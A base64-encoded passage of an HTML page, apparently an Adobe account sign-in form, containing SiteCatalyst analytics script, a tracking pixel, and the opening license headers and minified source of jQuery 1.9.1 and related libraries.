CBsYW5ndWFnZT0iSmF2YVNjcmlwdCIgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCiAgICAgICAgd2luZG93LnNjUmVwb3J0ID0gZnVuY3Rpb24gKHBhZ2VOYW1lKSB7DQogICAgICAgICAgICBzID0gc19naSgiYWRiaW1zIik7DQogICAgICAgICAgICBzLnZpc2l0b3JOYW1lc3BhY2UgPSAiYWRvYmVjb3JwIg0KICAgICAgICAgICAgcy50cmFja2luZ1NlcnZlciA9ICJzdGF0cy5hZG9iZS5jb20iDQogICAgICAgICAgICBzLnRyYWNraW5nU2VydmVyU2VjdXJlID0gInNzdGF0cy5hZG9iZS5jb20iDQoNCiAgICAgICAgICAgIHBhZ2VOYW1lID0gcGFnZU5hbWUgfHwgJ1NpZ25Jbl9Gb3JtJzsNCiAgICAgICAgICAgIHZhciBzdGF0ZUZ1bGwgPSAne1wiYWNcIjpcIlwifScgfHwgJ3t9JywNCiAgICAgICAgICAgICAgICAgICAgc3RhdGUgPSBKU09OLnBhcnNlKHN0YXRlRnVsbCksDQogICAgICAgICAgICAgICAgICAgIGFjID0gc3RhdGVbImFjIl0gfHwgJycsDQogICAgICAgICAgICAgICAgICAgIHNDaGFubmVsID0gIklNUyIsDQogICAgICAgICAgICAgICAgICAgIHNBY2NvdW50ID0gImFkYmltc3FhLGFkYmFkb2Jlbm9uYWNkY3FhIjsNCg0KICAgICAgICAgICAgdmFyIHZpRWxlbWVudCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ2aSIpOw0KICAgICAgICAgICAgaWYgKHZpRWxlbWVudCkgew0KICAgICAgICAgICAgICAgIHZpRWxlbWVudC52YWx1ZSA9IHMuY19yKCJzX3ZpIik7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiAocGFnZU5hbWUgPT0gIlNpZ25Jbl9Gb3JtIikgew0KICAgICAgICAgICAgICAgIHMucGFnZU5hbWU9IkFjY291bnQ6T25Mb2FkX2ltc19TaWduSW5Gb3JtIjsNCiAgICAgICAgICAgICAgICBzLnByb3A1ID0gImVuX1VTOiIrIHMucGFnZU5hbWU7DQogICAgICAgICAgICAgICAgcy5lVmFyMTMgPSAiU2lnbkluRm9ybSI7DQogICAgICAgICAgICB9IGVsc2UgaWYgKHBhZ2VOYW1lID09ICJDcmVhdGVfRm9ybSIpIHsNCiAgICAgICAgICAgICAgICBzLnBhZ2VOYW1lID0gIkFjY291bnQ6T25Mb2FkX2ltc19TaWduVXBGb3JtIjsNCiAgICAgICAgICAgICAgICBzLnByb3A1ID0gImVuX1VTOiIrIHMucGFnZU5hbWU7DQogICAgICAgICAgICAgICAgcy5lVmFyMTMgPSAiU2lnblVwRm9ybSI7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIHMuYWNjb3VudCA9IHNBY2NvdW50Ow0KICAgICAgICAgICAgcy5jaGFubmVsID0gc0NoYW5uZWw7DQogICAgICAgICAgICBzLnByb3AzID0gInNlcnZpY2VzLmFkb2JlLmNvbSI7DQogICAgICAgICAgICBzLnByb3A0ID0gImVuX1VTIjsNCiAgICAgICAgICAgIHMucHJvcDYwPSIiOw0KICAgICAgICAgICAgcy5wcm9wNDcgPSIiOw0KICAgICAgICAgICAgcy5lVmFyMzAgPSAiYWRvYmVkb3Rjb21fVE9VX2NsaWVudDIiOw0KICAgICAgICAgICAgcy5wcm9wMjI9YWM7DQoNCg0KICAgICAgICAgICAgaWYgKHBhZ2VOYW1lKSB7DQogICAgICAgICAgICAgICAgdmFyIG9yaWdpbmFsUGFyZW50ID0gd2luZG93LnBhcmVudDsNCiAgICAgICAgICAgICAgICB0cnkgew0KICAgICAgICAgICAgICAgICAgICB3aW5kb3cucGFyZW50ID0gd2luZG93Ow0KICAgICAgICAgICAgICAgIH0gY2F0Y2ggKGUpIHsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgdmFyIHJlc3VsdCA9IHMudCgpOw0KICAgICAgICAgICAgICAgIHRyeSB7DQogICAgICAgICAgICAgICAgICAgIHdpbmRvdy5wYXJlbnQgPSBvcmlnaW5hbFBhcmVudDsNCiAgICAgICAgICAgICAgICB9IGNhdGNoIChlKSB7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIHJldHVybiByZXN1bHQ7DQogICAgICAgICAgICB9DQogICAgICAgIH07DQoNCiAgICAgICAgLyoqKioqKioqKioqKiogRE8gTk9UIEFMVEVSIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSAhICoqKioqKioqKioqKioqLw0KICAgICAgICB2YXIgc19jb2RlID0gc2NSZXBvcnQoKTsNCiAgICAgICAgaWYgKHNfY29kZSlkb2N1bWVudC53cml0ZShzX2NvZGUpOw0KDQogICAgICAgIGlmIChuYXZpZ2F0b3IuYXBwVmVyc2lvbi5pbmRleE9mKCdNU0lFJykgPj0gMClkb2N1bWVudC53cml0ZSh1bmVzY2FwZSgnJTNDJykgKyAnXCEtJyArICctJykNCiAgICAgICAgICAgICAgICA8L3NjcmlwdD4NCiAgICA8bm9zY3JpcHQ+PGltZyBzcmM9Imh0dHA6Ly9hZG9iZS4xMTIuMm83Lm5ldC9iL3NzL2FkYmltc3FhLGFkYmFkb2Jlbm9uYWNkY3FhLzEvSC4yNC4zLS1OUy8wIg0KICAgICAgICAgICAgICAgICAgIGhlaWdodD0iMSIgd2lkdGg9IjEiIGJvcmRlcj0iMCIgYWx0PSIiLz48L25vc2NyaXB0Pg0KICAgIDwhLS0vRE8gTk9UIFJFTU9WRS8tLT4NCiAgICA8IS0tIEVuZCBTaXRlQ2F0YWx5c3QgY29kZSB2ZXJzaW9uOiBILjI0LjMuIC0tPg0KDQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQogICAgICAgICAgICAgICAgICAgICAgICAvKg0KDQoNCiBqUXVlcnkgdjEuOS4xIHwgKGMpIDIwMDUsIDIwMTIgalF1ZXJ5IEZvdW5kYXRpb24sIEluYy4gfCBqcXVlcnkub3JnL2xpY2Vuc2UNCg0KDQogalF1ZXJ5IFZhbGlkYXRpb24gUGx1Z2luIC0gdjEuMTEuMSAtIDMvMjIvMjAxMw0KIGh0dHBzOi8vZ2l0aHViLmNvbS9qemFlZmZlcmVyL2pxdWVyeS12YWxpZGF0aW9uDQogQ29weXJpZ2h0IChjKSAyMDEzIEo/cm4gWmFlZmZlcmVyOyBMaWNlbnNlZCBNSVQNCg0KDQogaHR0cDovL210aHMuYmUvcGxhY2Vob2xkZXIgdjIuMC44IGJ5IEBtYXRoaWFzDQoNCg0KICAgIFVuZGVyc2NvcmUuanMgMS42LjANCiAgICBodHRwOi8vdW5kZXJzY29yZWpzLm9yZw0KICAgIChjKSAyMDA5LTIwMTQgSmVyZW15IEFzaGtlbmFzLCBEb2N1bWVudENsb3VkIGFuZCBJbnZlc3RpZ2F0aXZlIFJlcG9ydGVycyAmIEVkaXRvcnMNCiAgICBVbmRlcnNjb3JlIG1heSBiZSBmcmVlbHkgZGlzdHJpYnV0ZWQgdW5kZXIgdGhlIE1JVCBsaWNlbnNlLg0KDQoNCiBGYXN0Q2xpY2s6IHBvbHlmaWxsIHRvIHJlbW92ZSBjbGljayBkZWxheXMgb24gYnJvd3NlcnMgd2l0aCB0b3VjaCBVSXMuDQoNCiBAdmVyc2lvbiAwLjYuMTENCiBAY29kaW5nc3RhbmRhcmQgZnRsYWJzLWpzdjINCiBAY29weXJpZ2h0IFRoZSBGaW5hbmNpYWwgVGltZXMgTGltaXRlZCBbQWxsIFJpZ2h0cyBSZXNlcnZlZF0NCiBAbGljZW5zZSBNSVQgTGljZW5zZSAoc2VlIExJQ0VOU0UudHh0KQ0KKi8NCihmdW5jdGlvbihiLGUpe2Z1bmN0aW9uIGYoYSl7dmFyIGM9YS5sZW5ndGgsaD1kLnR5cGUoYSk7cmV0dXJuIGQuaXNXaW5kb3coYSk/ITE6MT09PWEubm9kZVR5cGUmJmM/ITA6ImFycmF5Ij09PWh8fCJmdW5jdGlvbiIhPT1oJiYoMD09PWN8fCJudW1iZXIiPT10eXBlb2YgYyYmMDxjJiZjLTEgaW4gYSl9ZnVuY3Rpb24gZyhhKXt2YXIgYz1WYVthXT17fTtyZXR1cm4gZC5lYWNoKGEubWF0Y2goUyl8fFtdLGZ1bmN0aW9uKGEsZCl7Y1tkXT0hMH0pLGN9ZnVuY3Rpb24gayhhLGMsaCxzKXtpZihkLmFjY2VwdERhdGEoYSkpe3ZhciBxLGIsbD1kLmV4cGFuZG8sZj0ic3RyaW5nIj09dHlwZW9mIGMsZz1hLm5vZGVUeXBlLGs9Zz9kLmNhY2hlOmEscj1nP2FbbF06YVtsXSYmbDtpZihyJiZrW3JdJiYoc3x8a1tyXS5kYXRhKXx8IWZ8fGghPT1lKXJldHVybiByfHwoZz9hW2xdPXI9aGEucG9wKCl8fGQuZ3VpZCsrOnI9bCksa1tyXXx8KGtbcl09e30sZ3x8KGtbcl0udG9KU09OPWQubm9vcCkpLA0KKCJvYmplY3QiPT10eXBlb2YgY3x8ImZ1bmN0aW9uIj09dHlwZW9mIGMpJiYocz9rW3JdPWQuZXh0ZW5kKGtbcl0sYyk6a1tyXS5kYXRhPWQuZXh0ZW5kKGtbcl0uZGF0YSxjKSkscT1rW3JdLHN8fChxLmRhdGF8fChxLmRhdGE9e30pLHE9cS5kYXRhKSxoIT09ZSYmKHFbZC5jYW1lbENhc2UoYyldPWgpLGY/KGI9cVtjXSxudWxsPT1iJiYoYj1xW2QuY2FtZWxDYXNlKGMpXSkpOmI9cSxifX1mdW5jdGlvbiBtKGEsYyxoKXtpZihkLmFjY2VwdERhdGEoYSkpe3ZhciBzLGUsYixsPWEubm9kZVR5cGUsZj1sP2QuY2FjaGU6YSxnPWw/YVtkLmV4cGFuZG9dOmQuZXhwYW5kbztpZihmW2ddKXtpZihjJiYoYj1oP2ZbZ106ZltnXS5kYXRhKSl7ZC5pc0FycmF5KGMpP2M9Yy5jb25jYXQoZC5tYXAoYyxkLmNhbWVsQ2FzZSkpOmMgaW4gYj9jPVtjXTooYz1kLmNhbWVsQ2FzZShjKSxjPWMgaW4gYj9bY106Yy5zcGxpdCgiICIpKTtzPTA7Zm9yKGU9Yy5sZW5ndGg7ZT5zO3MrKylkZWxldGUgYltjW3NdXTsNCmlmKCEoaD93OmQuaXNFbXB0eU9iamVjdCkoYikpcmV0dXJufShofHwoZGVsZXRlIGZbZ10uZGF0YSx3KGZbZ10pKSkmJihsP2QuY2xlYW5EYXRhKFthXSwhMCk6ZC5zdXBwb3J0LmRlbGV0ZUV4cGFuZG98fGYhPWYud2luZG93P2RlbGV0ZSBmW2ddOmZbZ109bnVsbCl9fX1mdW5jdGlvbiBuKGEsYyxoKXtpZihoPT09ZSYmMT09PWEubm9kZVR5cGUpe3ZhciBzPSJkYXRhLSIrYy5yZXBsYWNlKExiLCItJDEiKS50b0xvd2VyQ2FzZSgpO2lmKGg9YS5nZXRBdHRyaWJ1dGUocyksInN0cmluZyI9PXR5cGVvZiBoKXt0cnl7aD0idHJ1ZSI9PT1oPyEwOiJmYWxzZSI9PT1oPyExOiJudWxsIj09PWg/bnVsbDoraCsiIj09PWg/K2g6TWIudGVzdChoKT9kLnBhcnNlSlNPTihoKTpofWNhdGNoKHEpe31kLmRhdGEoYSxjLGgpfWVsc2UgaD1lfXJldHVybiBofWZ1bmN0aW9uIHcoYSl7Zm9yKHZhciBjIGluIGEpaWYoKCJkYXRhIiE9PWN8fCFkLmlzRW1wdHlPYmplY3QoYVtjXSkpJiYidG9KU09OIiE9PQ0KYylyZXR1cm4hMTtyZXR1cm4hMH1mdW5jdGlvbiB6KCl7cmV0dXJuITB9ZnVuY3Rpb24geCgpe3JldHVybiExfWZ1bmN0aW9uIFYoYSxjKXtkbyBhPWFbY107d2hpbGUoYSYmMSE9PWEubm9kZVR5cGUpO3JldHVybiBhfWZ1bmN0aW9uIFQoYSxjLGgpe2lmKGM9Y3x8MCxkLmlzRnVuY3Rpb24oYykpcmV0dXJuIGQuZ3JlcChhLGZ1bmN0aW9uKGEsZCl7cmV0dXJuISFjLmNhbGwoYSxkLGEpPT09aH0pO2lmKGMubm9kZVR5cGUpcmV0dXJuIGQuZ3JlcChhLGZ1bmN0aW9uKGEpe3JldHVybiBhPT09Yz09PWh9KTtpZigic3RyaW5nIj09dHlwZW9mIGMpe3ZhciBzPWQuZ3JlcChhLGZ1bmN0aW9uKGEpe3JldHVybiAxPT09YS5ub2RlVHlwZX0pO2lmKE5iLnRlc3QoYykpcmV0dXJuIGQuZmlsdGVyKGMscywhaCk7Yz1kLmZpbHRlcihjLHMpfXJldHVybiBkLmdyZXAoYSxmdW5jdGlvbihhKXtyZXR1cm4gMDw9ZC5pbkFycmF5KGEsYyk9PT1ofSl9ZnVuY3Rpb24gTShhKXt2YXIgYz1YYS5zcGxpdCgifCIpOw0KYT1hLmNyZWF0ZURvY3VtZW50RnJhZ21lbnQoKTtpZihhLmNyZWF0ZUVsZW1lbnQpZm9yKDtjLmxlbmd0aDspYS5jcmVhdGVFbGVtZW50KGMucG9wKCkpO3JldHVybiBhfWZ1bmN0aW9uIFAoYSl7dmFyIGM9YS5nZXRBdHRyaWJ1dGVOb2RlKCJ0eXBlIik7cmV0dXJuIGEudHlwZT0oYyYmYy5zcGVjaWZpZWQpKyIvIithLnR5cGUsYX1mdW5jdGlvbiBXKGEpe3ZhciBjPU9iLmV4ZWMoYS50eXBlKTtyZXR1cm4gYz9hLnR5cGU9Y1sxXTphLnJlbW92ZUF0dHJpYnV0ZSgidHlwZSIpLGF9ZnVuY3Rpb24gRyhhLGMpe2Zvcih2YXIgaCxzPTA7bnVsbCE9KGg9YVtzXSk7cysrKWQuX2RhdGEoaCwiZ2xvYmFsRXZhbCIsIWN8fGQuX2RhdGEoY1tzXSwiZ2xvYmFsRXZhbCIpKX1mdW5jdGlvbiBOKGEsYyl7aWYoMT09PWMubm9kZVR5cGUmJmQuaGFzRGF0YShhKSl7dmFyIGgscyxlO3M9ZC5fZGF0YShhKTt2YXIgYj1kLl9kYXRhKGMscyksbD1zLmV2ZW50cztpZihsKWZvcihoIGluIGRlbGV0ZSBiLmhhbmRsZSwNCmIuZXZlbnRzPXt9LGwpe3M9MDtmb3IoZT1sW2hdLmxlbmd0aDtlPnM7cysrKWQuZXZlbnQuYWRkKGMsaCxsW2hdW3NdKX1iLmRhdGEmJihiLmRhdGE9ZC5leHRlbmQoe30sYi5kYXRhKSl9fWZ1bmN0aW9uIEQoYSxjKXt2YXIgaCxzLHE9MCxiPXR5cGVvZiBhLmdldEVsZW1lbnRzQnlUYWdOYW1lIT09UT9hLmdldEVsZW1lbnRzQnlUYWdOYW1lKGN8fCIqIik6dHlwZW9mIGEucXVlcnlTZWxlY3RvckFsbCE9PVE/YS5xdWVyeVNlbGVjdG9yQWxsKGN8fCIqIik6ZTtpZighYil7Yj1bXTtmb3IoaD1hLmNoaWxkTm9kZXN8fGE7bnVsbCE9KHM9aFtxXSk7cSsrKSFjfHxkLm5vZGVOYW1lKHMsYyk/Yi5wdXNoKHMpOmQubWVyZ2UoYixEKHMsYykpfXJldHVybiBjPT09ZXx8YyYmZC5ub2RlTmFtZShhLGMpP2QubWVyZ2UoW2FdLGIpOmJ9ZnVuY3Rpb24gUGIoYSl7RGEudGVzdChhLnR5cGUpJiYoYS5kZWZhdWx0Q2hlY2tlZD1hLmNoZWNrZWQpfWZ1bmN0aW9uIFlhKGEsYyl7aWYoYyBpbiBhKXJldHVybiBjOw0KZm9yKHZhciBkPWMuY2hhckF0KDApLnRvVXBwZXJDYXNlKCkrYy5zbGljZSgxKSxzPWMsZT1aYS5sZW5ndGg7ZS0tOylpZihjPVphW2VdK2QsYyBpbiBhKXJldHVybiBjO3JldHVybiBzfWZ1bmN0aW9uIGVhKGEsYyl7cmV0dXJuIGE9Y3x8YSwibm9uZSI9PT1kLmNzcyhhLCJkaXNwbGF5Iil8fCFkLmNvbnRhaW5zKGEub3duZXJEb2N1bWVudCxhKX1mdW5jdGlvbiAkYShhLGMpe2Zvcih2YXIgaCxzLGUsYj1bXSxsPTAsZj1hLmxlbmd0aDtmPmw7bCsrKXM9YVtsXSxzLnN0eWxlJiYoYltsXT1kLl9kYXRhKHMsIm9sZGRpc3BsYXkiKSxoPXMuc3R5bGUuZGlzcGxheSxjPyhiW2xdfHwibm9uZSIhPT1ofHwocy5zdHlsZS5kaXNwbGF5PSIiKSwiIj09PXMuc3R5bGUuZGlzcGxheSYmZWEocykmJihiW2xdPWQuX2RhdGEocywib2xkZGlzcGxheSIsYWIocy5ub2RlTmFtZSkpKSk6YltsXXx8KGU9ZWEocyksKGgmJiJub25lIiE9PWh8fCFlKSYmZC5fZGF0YShzLCJvbGRkaXNwbGF5IixlP2g6DQpkLmNzcyhzLCJkaXNwbGF5IikpKSk7Zm9yKGw9MDtmPmw7bCsrKXM9YVtsXSxzLnN0eWxlJiYoYyYmIm5vbmUiIT09cy5zdHlsZS5kaXNwbGF5JiYiIiE9PXMuc3R5bGUuZGlzcGxheXx8KHMuc3R5bGUuZGlzcGxheT1jP2JbbF18fCIiOiJub25lIikpO3JldHVybiBhfWZ1bmN0aW9uIGJiKGEsYyxkKXtyZXR1cm4oYT1RYi5leGVjKGMpKT9NYXRoLm1heCgwLGFbMV0tKGR8fDApKSsoYVsyXXx8InB4Iik6Y31mdW5jdGlvbiBjYihhLGMsaCxzLGUpe2M9aD09PShzPyJib3JkZXIiOiJjb250ZW50Iik/NDoid2lkdGgiPT09Yz8xOjA7Zm9yKHZhciBiPTA7ND5jO2MrPTIpIm1hcmdpbiI9PT1oJiYoYis9ZC5jc3MoYSxoK0tbY10sITAsZSkpLHM/KCJjb250ZW50Ij09PWgmJihiLT1kLmNzcyhhLCJwYWRkaW5nIitLW2NdLCEwLGUpKSwibWFyZ2luIiE9PWgmJihiLT1kLmNzcyhhLCJib3JkZXIiK0tbY10rIldpZHRoIiwhMCxlKSkpOihiKz1kLmNzcyhhLCJwYWRkaW5nIitLW2NdLCEwLGUpLA0KInBhZGRpbmciIT09aCYmKGIrPWQuY3NzKGEsImJvcmRlciIrS1tjXSsiV2lkdGgiLCEwLGUpKSk7cmV0dXJuIGJ9ZnVuY3Rpb24gZGIoYSxjLGgpe3ZhciBlPSEwLGI9IndpZHRoIj09PWM/YS5vZmZzZXRXaWR0aDphLm9mZnNldEhlaWdodCx1PVgoYSksbD1kLnN1cHBvcnQuYm94U2l6aW5nJiYiYm9yZGVyLWJveCI9PT1kLmNzcyhhLCJib3hTaXppbmciLCExLHUpO2lmKDA+PWJ8fG51bGw9PWIpe2lmKGI9YmEoYSxjLHUpLCgwPmJ8fG51bGw9PWIpJiYoYj1hLnN0eWxlW2NdKSxxYS50ZXN0KGIpKXJldHVybiBiO2U9bCYmKGQuc3VwcG9ydC5ib3hTaXppbmdSZWxpYWJsZXx8Yj09PWEuc3R5bGVbY10pO2I9cGFyc2VGbG9hdChiKXx8MH1yZXR1cm4gYitjYihhLGMsaHx8KGw/ImJvcmRlciI6ImNvbnRlbnQiKSxlLHUpKyJweCJ9ZnVuY3Rpb24gYWIoYSl7dmFyIGM9dCxoPWViW2FdO3JldHVybiBofHwoaD1mYihhLGMpLCJub25lIiE9PWgmJmh8fChtYT0obWF8fGQoIlx4M2NpZnJhbWUgZnJhbWVib3JkZXJceDNkJzAnIHdpZHRoXHgzZCcwJyBoZWlnaHRceDNkJzAnL1x4M2UiKS5jc3MoImNzc1RleHQiLA0KImRpc3BsYXk6YmxvY2sgIWltcG9ydGFudCIpKS5hcHBlbmRUbyhjLmRvY3VtZW50RWxlbWVudCksYz0obWFbMF0uY29udGVudFdpbmRvd3x8bWFbMF0uY29udGVudERvY3VtZW50KS5kb2N1bWVudCxjLndyaXRlKCJceDNjIWRvY3R5cGUgaHRtbFx4M2VceDNjaHRtbFx4M2VceDNjYm9keVx4M2UiKSxjLmNsb3NlKCksaD1mYihhLGMpLG1hLmRldGFjaCgpKSxlYlthXT1oKSxofWZ1bmN0aW9uIGZiKGEsYyl7dmFyIGg9ZChjLmNyZWF0ZUVsZW1lbnQoYSkpLmFwcGVuZFRvKGMuYm9keSksZT1kLmNzcyhoWzBdLCJkaXNwbGF5Iik7cmV0dXJuIGgucmVtb3ZlKCksZX1mdW5jdGlvbiBFYShhLGMsaCxlKXt2YXIgYjtpZihkLmlzQXJyYXkoYykpZC5lYWNoKGMsZnVuY3Rpb24oYyxkKXtofHxSYi50ZXN0KGEpP2UoYSxkKTpFYShhKyJbIisoIm9iamVjdCI9PXR5cGVvZiBkP2M6IiIpKyJdIixkLGgsZSl9KTtlbHNlIGlmKGh8fCJvYmplY3QiIT09ZC50eXBlKGMpKWUoYSxjKTtlbHNlIGZvcihiIGluIGMpRWEoYSsNCiJbIitiKyJdIixjW2JdLGgsZSl9ZnVuY3Rpb24gZ2IoYSl7cmV0dXJuIGZ1bmN0aW9uKGMsaCl7InN0cmluZyIhPXR5cGVvZiBjJiYoaD1jLGM9IioiKTt2YXIgZSxiPTAsdT1jLnRvTG93ZXJDYXNlKCkubWF0Y2goUyl8fFtdO2lmKGQuaXNGdW5jdGlvbihoKSlmb3IoO2U9dVtiKytdOykiKyI9PT1lWzBdPyhlPWUuc2xpY2UoMSl8fCIqIiwoYVtlXT1hW2VdfHxbXSkudW5zaGlmdChoKSk6KGFbZV09YVtlXXx8W10pLnB1c2goaCl9fWZ1bmN0aW9uIGhiKGEsYyxoLHMpe2Z1bmN0aW9uIGIoZil7dmFyIGc7cmV0dXJuIHVbZl09ITAsZC5lYWNoKGFbZl18fFtdLGZ1bmN0aW9uKGEsZCl7dmFyIGY9ZChjLGgscyk7cmV0dXJuInN0cmluZyIhPXR5cGVvZiBmfHxsfHx1W2ZdP2w/IShnPWYpOmU6KGMuZGF0YVR5cGVzLnVuc2hpZnQoZiksYihmKSwhMSl9KSxnfXZhciB1PXt9LGw9YT09PUZhO3JldHVybiBiKGMuZGF0YVR5cGVzWzBdKXx8IXVbIioiXSYmYigiKiIpfWZ1bmN0aW9uIEdhKGEsDQpjKXt2YXIgaCxzLGI9ZC5hamF4U2V0dGluZ3MuZmxhdE9wdGlvbnN8fHt9O2ZvcihzIGluIGMpY1tzXSE9PWUmJigoYltzXT9hOmh8fChoPXt9KSlbc109Y1tzXSk7cmV0dXJuIGgmJmQuZXh0ZW5kKCEwLGEsaCksYX1mdW5jdGlvbiBpYigpe3RyeXtyZXR1cm4gbmV3IGIuWE1MSHR0cFJlcXVlc3R9Y2F0Y2goYSl7fX1mdW5jdGlvbiBqYigpe3JldHVybiBzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7aWE9ZX0pLGlhPWQubm93KCl9ZnVuY3Rpb24gU2IoYSxjKXtkLmVhY2goYyxmdW5jdGlvbihjLGQpe2Zvcih2YXIgZT0obmFbY118fFtdKS5jb25jYXQobmFbIioiXSksYj0wLGw9ZS5sZW5ndGg7bD5iJiYhZVtiXS5jYWxsKGEsYyxkKTtiKyspO30pfWZ1bmN0aW9uIGtiKGEsYyxoKXt2YXIgZSxiPTAsdT1yYS5sZW5ndGgsbD1kLkRlZmVycmVkKCkuYWx3YXlzKGZ1bmN0aW9uKCl7ZGVsZXRlIGYuZWxlbX0pLGY9ZnVuY3Rpb24oKXtpZihlKXJldHVybiExO2Zvcih2YXIgYz1pYXx8amIoKSwNCmM9TWF0aC5tYXgoMCxnLnN0YXJ0VGltZStnLmR1cmF0aW9uLWMpLGQ9MS0oYy9nLmR1cmF0aW9ufHwwKSxoPTAsYj1nLnR3ZWVucy5sZW5ndGg7Yj5oO2grKylnLnR3ZWVuc1toXS5ydW4oZCk7cmV0dXJuIGwubm90aWZ5V2l0aChhLFtnLGQsY10pLDE+ZCYmYj9jOihsLnJlc29sdmVXaXRoKGEsW2ddKSwhMSl9LGc9bC5wcm9taXNlKHtlbGVtOmEscHJvcHM6ZC5leHRlbmQoe30sYyksb3B0czpkLmV4dGVuZCghMCx7c3BlY2lhbEVhc2luZzp7fX0saCksb3JpZ2luYWxQcm9wZXJ0aWVzOmMsb3JpZ2luYWxPcHRpb25zOmgsc3RhcnRUaW1lOmlhfHxqYigpLGR1cmF0aW9uOmguZHVyYXRpb24sdHdlZW5zOltdLGNyZWF0ZVR3ZWVuOmZ1bmN0aW9uKGMsaCl7dmFyIGU9ZC5Ud2VlbihhLGcub3B0cyxjLGgsZy5vcHRzLnNwZWNpYWxFYXNpbmdbY118fGcub3B0cy5lYXNpbmcpO3JldHVybiBnLnR3ZWVucy5wdXNoKGUpLGV9LHN0b3A6ZnVuY3Rpb24oYyl7dmFyIGQ9MCxoPWM/Zy50d2VlbnMubGVuZ3RoOg0KMDtpZihlKXJldHVybiB0aGlzO2ZvcihlPSEwO2g+ZDtkKyspZy50d2VlbnNbZF0ucnVuKDEpO3JldHVybiBjP2wucmVzb2x2ZVdpdGgoYSxbZyxjXSk6bC5yZWplY3RXaXRoKGEsW2csY10pLHRoaXN9fSk7aD1nLnByb3BzO2ZvcihUYihoLGcub3B0cy5zcGVjaWFsRWFzaW5nKTt1PmI7YisrKWlmKGM9cmFbYl0uY2FsbChnLGEsaCxnLm9wdHMpKXJldHVybiBjO3JldHVybiBTYihnLGgpLGQuaXNGdW5jdGlvbihnLm9wdHMuc3RhcnQpJiZnLm9wdHMuc3RhcnQuY2FsbChhLGcpLGQuZngudGltZXIoZC5leHRlbmQoZix7ZWxlbTphLGFuaW06ZyxxdWV1ZTpnLm9wdHMucXVldWV9KSksZy5wcm9ncmVzcyhnLm9wdHMucHJvZ3Jlc3MpLmRvbmUoZy5vcHRzLmRvbmUsZy5vcHRzLmNvbXBsZXRlKS5mYWlsKGcub3B0cy5mYWlsKS5hbHdheXMoZy5vcHRzLmFsd2F5cyl9ZnVuY3Rpb24gVGIoYSxjKXt2YXIgaCxlLGIsdSxsO2ZvcihiIGluIGEpaWYoZT1kLmNhbWVsQ2FzZShiKSx1PWNbZV0sDQpoPWFbYl0sZC5pc0FycmF5KGgpJiYodT1oWzFdLGg9YVtiXT1oWzBdKSxiIT09ZSYmKGFbZV09aCxkZWxldGUgYVtiXSksbD1kLmNzc0hvb2tzW2VdLGwmJiJleHBhbmQiaW4gbClmb3IoYiBpbiBoPWwuZXhwYW5kKGgpLGRlbGV0ZSBhW2VdLGgpYiBpbiBhfHwoYVtiXT1oW2JdLGNbYl09dSk7ZWxzZSBjW2VdPXV9ZnVuY3Rpb24gQihhLGMsZCxlLGIpe3JldHVybiBuZXcgQi5wcm90b3R5cGUuaW5pdChhLGMsZCxlLGIpfWZ1bmN0aW9uIHVhKGEsYyl7dmFyIGQsZT17aGVpZ2h0OmF9LGI9MDtmb3IoYz1jPzE6MDs0PmI7Yis9Mi1jKWQ9S1tiXSxlWyJtYXJnaW4iK2RdPWVbInBhZGRpbmciK2RdPWE7cmV0dXJuIGMmJihlLm9wYWNpdHk9ZS53aWR0aD1hKSxlfWZ1bmN0aW9uIGxiKGEpe3JldHVybiBkLmlzV2luZG93KGEpP2E6OT09PWEubm9kZVR5cGU/YS5kZWZhdWx0Vmlld3x8YS5wYXJlbnRXaW5kb3c6ITF9dmFyIHdhLG1iLFE9dHlwZW9mIGUsdD1iLmRvY3VtZW50LFViPWIubG9jYXRpb24sDQpWYj1iLmpRdWVyeSxXYj1iLiQseGE9e30saGE9W10sbmI9aGEuY29uY2F0LEhhPWhhLnB1c2gsWT1oYS5zbGljZSxvYj1oYS5pbmRleE9mLFhiPXhhLnRvU3RyaW5nLG9hPXhhLmhhc093blByb3BlcnR5LElhPSIxLjkuMSIudHJpbSxkPWZ1bmN0aW9uKGEsYyl7cmV0dXJuIG5ldyBkLmZuLmluaXQoYSxjLG1iKX0seWE9L1srLV0/KD86XGQqXC58KVxkKyg/OltlRV1bKy1dP1xkK3wpLy5zb3VyY2UsUz0vXFMrL2csWWI9L15bXHNcdUZFRkZceEEwXSt8W1xzXHVGRUZGXHhBMF0rJC9nLFpiPS9eKD86KDxbXHdcV10rPilbXj5dKnwjKFtcdy1dKikpJC8scGI9L148KFx3KylccypcLz8+KD86PFwvXDE+fCkkLywkYj0vXltcXSw6e31cc10qJC8sYWM9Lyg/Ol58OnwsKSg/OlxzKlxbKSsvZyxiYz0vXFwoPzpbIlxcXC9iZm5ydF18dVtcZGEtZkEtRl17NH0pL2csY2M9LyJbXiJcXFxyXG5dKiJ8dHJ1ZXxmYWxzZXxudWxsfC0/KD86XGQrXC58KVxkKyg/OltlRV1bKy1dP1xkK3wpL2csZGM9DQovXi1tcy0vLGVjPS8tKFtcZGEtel0pL2dpLGZjPWZ1bmN0aW9uKGEsYyl7cmV0dXJuIGMudG9VcHBlckNhc2UoKX0sRj1mdW5jdGlvbihhKXsodC5hZGRFdmVudExpc3RlbmVyfHwibG9hZCI9PT1hLnR5cGV8fCJjb21wbGV0ZSI9PT10LnJlYWR5U3RhdGUpJiYocWIoKSxkLnJlYWR5KCkpfSxxYj1mdW5jdGlvbigpe3QuYWRkRXZlbnRMaXN0ZW5lcj8odC5yZW1vdmVFdmVudExpc3RlbmVyKCJET01Db250ZW50TG9hZGVkIixGLCExKSxiLnJlbW92ZUV2ZW50TGlzdGVuZXIoImxvYWQiLEYsITEpKToodC5kZXRhY2hFdmVudCgib25yZWFkeXN0YXRlY2hhbmdlIixGKSxiLmRldGFjaEV2ZW50KCJvbmxvYWQiLEYpKX07ZC5mbj1kLnByb3RvdHlwZT17anF1ZXJ5OiIxLjkuMSIsY29uc3RydWN0b3I6ZCxpbml0OmZ1bmN0aW9uKGEsYyxoKXt2YXIgYixxO2lmKCFhKXJldHVybiB0aGlzO2lmKCJzdHJpbmciPT10eXBlb2YgYSl7aWYoYj0iXHgzYyI9PT1